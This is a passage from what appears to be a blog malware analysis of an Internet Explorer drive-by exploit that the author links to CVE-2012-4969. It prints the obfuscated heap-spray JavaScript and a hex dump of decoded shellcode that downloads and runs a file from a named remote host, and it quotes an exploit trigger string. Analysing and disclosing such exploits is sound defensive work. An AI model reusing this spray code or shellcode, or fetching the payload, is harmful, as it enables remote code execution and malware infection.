BDBDcgTw636BDcgTw6B1FDcgTw6CD36cgTw610A1cgTw6D536cgTw636B5cgTw6D74AcgTw6E4B9cgTw6E955cgTw6BDBDcgTw62DBDcgTw6455FcgTw68ED5'+'cgTw6BD8FcgTw6D5BDcgTw6CEE8cgTw6CFD8cgTw636E9cgTw655BBcgTw642E8cgTw64242cgTw65536cgTw6B8D7cgTw655E4cgTw6BD88cgTw6BDBDcgTw6445FcgTw6428EcgTw642EAcgTw6B9EBcgTw6BF56cgTw67EE5cgTw64455cgTw64242cgTw6E642cgTw6BA7BcgTw63405cgTw6BCE2cgTw67ADBcgTw6B8FAcgTw65D42cgTw6EE7EcgTw66136cgTw6D7EEcgTw6D5FDcgTw6ADBDcgTw6BDBDcgTw636EA'+'cgTw69DFBcgTw6A555cgTw64242cgTw6E542cgTw6EC7EcgTw636EBcgTw681C8cgTw6C936cgTw6C593cgTw648BEcgTw636EBcgTw69DCBcgTw648BEcgTw6748EcgTw6FCF4cgTw6BE10cgTw68E78cgTw6B266'+'cgTw6AD03cgTw66B87cgTw6B5C9cgTw6767CcgTw6BEBAcgTw6FD67cgTw64C56cgTw6A286cgTw65AC8cgTw636E3cgTw699E3cgTw660BEcgTw636DBcgTw6F6B1cgTw6E336cgTw6BEA1cgTw63660cgTw636B9cgTw678BEcgTw6E316cgTw67EE4cgTw66055cgTw64241cgTw60F42cgTw65F4FcgTw68449'+'cgTw6C05FcgTw6673EcgTw6C6F5cgTw68F80cgTw62CC9cgTw638B1cgTw61262cgTw6DE06cgTw66C34cgTw6ECF2cgTw607FDcgTw61DC2cgTw62AD8cgTw6A376cgTw6D919cgTw62E52cgTw6598FcgTw63329cgTw6B7AEcgTw67F11cgTw6F6A4cgTw679BCcgTw6A230cgTw6EAC9cgTw6B0DBcgTw6FE42cgTw61103'+'cgTw6C066cgTw6184DcgTw6EF27cgTw61A43cgTw68367cgTw60BA0cgTw60584'+Abqj6+'69D4cgTw603A6cgTw6DBC2cgTw6411DcgTw68A14cgTw62510cgTw6ADB7cgTw63D45cgTw6126BcgTw64627'+Abqj6+'A8EE'+x3+'cgTw6C3C3';

var code = unescape(ckwmckwm.replace(/cgTw6/g,Abqj6));
var nops = unescape("%"+"u0c0"+"c"+"%"+"u0c0"+"c");
var nops_90 = unescape("%"+"ub3d6"+"%"+"u4f92");

while (nops.length < 0x80000) nops += nops;
while (nops_90.length < 0x80000) nops_90 += nops_90;
var offset = nops.substring(0, 0x100);
var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);
while (shellcode.length < 0x40000) shellcode += shellcode;
var block = shellcode.substring(0, (0x80000-6)/2);

The shellcode somehow encoded with XOR. By using malzilla, I manage to get the XOR key, which is "BD". From there, it is a normal payload to download and execute ttxz.txt from the same server. The name implies that we are dealing with a text file, but in fact it is a data file.

00000000  2d 2d 2d 2d e5 e5 e5 e5  56 ad e6 f6 8e 74 db 04  |----....V....t..|
00000010  05 be 3d 89 b6 00 5f 47  56 b8 55 56 42 42 42 e9  |..=..._GV.UVBBB.|
00000020  1e 03 00 00 5f 64 a1 30  00 00 00 8b 40 0c 8b 70  |...._d.0....@..p|
00000030  1c ad 8b 68 08 8b f7 6a  11 59 e8 be 02 00 00 90  |...h...j.Y......|
00000040  e2 f8 68 33 32 00 00 68  55 73 65 72 54 8b 46 0c  |..h32..hUserT.F.|
00000050  e8 be 01 00 00 8b e8 6a  05 59 e8 9e 02 00 00 e2  |.......j.Y......|
00000060  f9 68 6f 6e 00 00 68 75  72 6c 6d 54 ff 16 85 c0  |.hon..hurlmT....|
00000070  75 13 68 6f 6e 00 00 68  75 72 6c 6d 54 8b 46 0c  |u.hon..hurlmT.F.|
00000080  e8 8e 01 00 00 8b e8 6a  01 59 e8 6e 02 00 00 e2  |.......j.Y.n....|
00000090  f9 68 6c 33 32 00 68 73  68 65 6c 54 8b 46 0c e8  |.hl32.hshelT.F..|
000000a0  6f 01 00 00 8b e8 6a 01  59 e8 4f 02 00 00 e2 f9  |o.....j.Y.O.....|
000000b0  81 ec 00 01 00 00 8b dc  81 c3 80 00 00 00 6a 00  |..............j.|
000000c0  6a 1a 53 6a 00 ff 56 5c  33 c0 40 80 3c 03 00 75  |j.Sj..V\3.@.<..u|
000000d0  f9 c7 04 03 5c 6b 2e 65  c7 44 03 04 78 65 00 00  |....\k.e.D..xe..|
000000e0  33 c9 51 51 53 57 51 33  c0 8b 46 58 e8 22 01 00  |3.QQSWQ3..FX."..|
000000f0  00 83 f8 00 0f 85 d5 00  00 00 6a 00 6a 00 6a 03  |..........j.j.j.|
00000100  6a 00 6a 02 68 00 00 00  c0 53 8b 46 24 e8 01 01  |j.j.h....S.F$...|
00000110  00 00 89 46 60 6a 00 50  ff 56 28 89 46 64 8b 46  |...F`j.P.V(.Fd.F|
00000120  60 6a 00 6a 00 6a 00 6a  04 6a 00 50 ff 56 2c 6a  |`j.j.j.j.j.P.V,j|
00000130  00 6a 00 6a 00 68 1f 00  0f 00 50 ff 56 3c 89 46  |.j.j.h....P.V<.F|
00000140  78 8b 4e 64 80 7c 08 ff  a2 74 0c 80 7c 08 ff 00  |x.Nd.|...t..|...|
00000150  74 05 80 74 08 ff a2 e2  eb 89 86 80 00 00 00 c7  |t..t............|
00000160  46 70 00 00 00 00 c7 46  74 00 00 00 00 6a 00 6a  |Fp.....Ft....j.j|
00000170  00 6a 00 8b 46 60 50 ff  56 38 8b 86 80 00 00 00  |.j..F`P.V8......|
00000180  6a 00 8d 4e 74 51 ff 76  70 50 ff 76 60 ff 56 30  |j..NtQ.vpP.v`.V0|
00000190  ff 76 60 ff 56 34 ff 76  78 ff 56 40 8b fb 33 c0  |.v`.V4.vx.V@..3.|
000001a0  33 db 81 ec 00 02 00 00  8b cc 83 f8 54 7d 08 89  |3...........T}..|
000001b0  1c 01 83 c0 04 eb f3 8b  cc 8b d9 83 c3 10 33 c0  |..............3.|
000001c0  50 51 53 50 50 50 50 50  50 57 50 50 ff 56 08 8b  |PQSPPPPPPWPP.V..|
000001d0  7e 54 e8 10 01 00 00 e8  65 00 00 00 68 63 76 77  |~T......e...hcvw|
000001e0  00 68 73 68 64 6f 54 8b  46 0c e8 24 00 00 00 89  |.hshdoT.F..$....|
000001f0  46 3c 64 a1 04 00 00 00  8d a0 60 ff ff ff 6a 65  |F<d.......`...je|
00000200  ff 76 3c 8b 46 10 e8 08  00 00 00 33 db 53 53 53  |.v<.F......3.SSS|
00000210  53 ff d0 80 38 e8 80 38  e9 75 11 81 78 05 90 90  |S...8..8.u..x...|
00000220  90 90 74 08 8b ff 55 8b  ec 8d 40 05 ff e0 e8 a6  |..t...U...@.....|
00000230  00 00 00 c3 e8 a0 00 00  00 b8 11 01 04 80 c2 0c  |................|
00000240  00 e8 93 00 00 00 81 ec  00 01 00 00 8b fc 83 c7  |................|
00000250  04 c7 07 32 74 91 0c c7  47 04 63 89 d1 4f c7 47  |...2t...G.c..O.G|
00000260  08 a0 65 97 cb c7 47 0c  51 40 ba 7f c7 47 10 3e  |..e...G.Q@...G.>|
00000270  1d b6 39 c7 47 14 b8 69  d4 1b c7 47 18 be 7f 66  |..9.G..i...G...f|
00000280  a0 c7 47 1c fc a9 37 ad  c7 47 20 98 0a 10 f8 64  |..G...7..G ....d|
00000290  a1 30 00 00 00 8b 40 0c  8b 70 1c ad 8b 68 08 8b  |.0....@..p...h..|
000002a0  f7 6a 04 59 e8 54 00 00  00 90 e2 f8 68 33 32 00  |.j.Y.T......h32.|
000002b0  00 68 55 73 65 72 54 8b  06 e8 55 ff ff ff 8b e8  |.hUserT...U.....|000002c0  6a 05 59 e8 35 00 00 00  e2 f9 33 ff 57 ff 56 04  |j.Y.5.....3.W.V.|
000002d0  eb 02 58 c3 e8 f9 ff ff  ff 5b c6 07 b8 89 5f 01  |..X......[...._.|
000002e0  66 c7 47 05 ff e0 c3 53  8b dc 53 6a 40 68 00 10  |f.G....S..Sj@h..|
000002f0  00 00 57 8b 46 20 e8 18  ff ff ff 58 c3 51 56 8b  |..W.F .....X.QV.|
00000300  75 3c 8b 74 2e 78 03 f5  56 8b 76 20 03 f5 33 c9  |u<.t.x..V.v ..3.|
00000310  49 41 ad 03 c5 33 db 0f  be 10 3a d6 74 08 c1 cb  |IA...3....:.t...|
00000320  07 03 da 40 eb f1 3b 1f  75 e7 5e 8b 5e 24 03 dd  |...@..;.u.^.^$..|
00000330  66 8b 0c 4b 8b 5e 1c 03  dd 8b 04 8b 03 c5 ab 5e  |f..K.^.........^|
00000340  59 c3 e8 dd fc ff ff b2  f2 e2 f4 39 e2 7d 83 da  |Y..........9.}..|
00000350  48 7b 3d 32 74 91 0c 85  df af bb 63 89 d1 4f 51  |H{=2t......c..OQ|
00000360  40 ba 7f a0 65 97 cb 1e  a4 64 ef 93 32 e4 94 8e  |@...e....d..2...|
00000370  13 0a ac c2 19 4b 01 c4  8d 1f 74 57 66 0d ff 43  |.....K....tWf..C|
00000380  be ac db 7d f0 a5 9a 52  fe a7 da 3e 1d b6 39 b8  |...}...R...>..9.|
00000390  69 d4 1b be 7f 66 a0 fc  a9 37 ad 98 0a 10 f8 80  |i....f...7......|
000003a0  d6 af 9a fb 53 15 66 68  74 74 70 3a 2f 2f 77 6d  |....S.fhttp://wm|
000003b0  62 2e 35 31 35 31 6c 70  2e 63 6f 6d 2f 74 74 78  |b.5151lp.com/ttx|
000003c0  7a 2e 74 78 74 00 7e 7e                           |z.txt.~~|

The Binary

I manage to get the binary. However, I'm a bit confused as the binary seems not to be a valid windows executable format, and it won't execute in sandbox. I sent the sample to VT which resulted 0/0 (https://www.virustotal.com/file/7b46896e5d6113b472fbf3ca95bcd2139671de480e2c4dbf165b21ef0dde055a/analysis/)

If any of you readers would like to have the sample for further analysis, just ping me and I would love to share the sample, and feel free to share any findings from that if you have.

Conclusion

From the analysis, and some other research, I've a verdict that this exploitation have got to do with CVE-2012-4969 vulnerability. The source of <img> tag which assign as 51.la URL might have return the value of "YMjf\u0c08\u0c0cKDogjsiIejengNEkoPDjfiJDIWUAzdfghjAAuUFGGBSIPPPUDFJKSOQJGH" to exploit CMshtmlEd::Exec function in mshtml.dll in Microsoft Internet Explorer 6 through 9 allows remote attackers to execute arbitrary code.

As for the binary itself, it is not the final payload to deliver to the users. With its filesize of 8.0KB, it might be used as an intermediary to download another binary to install on users computer.

That's it for now, bye bye.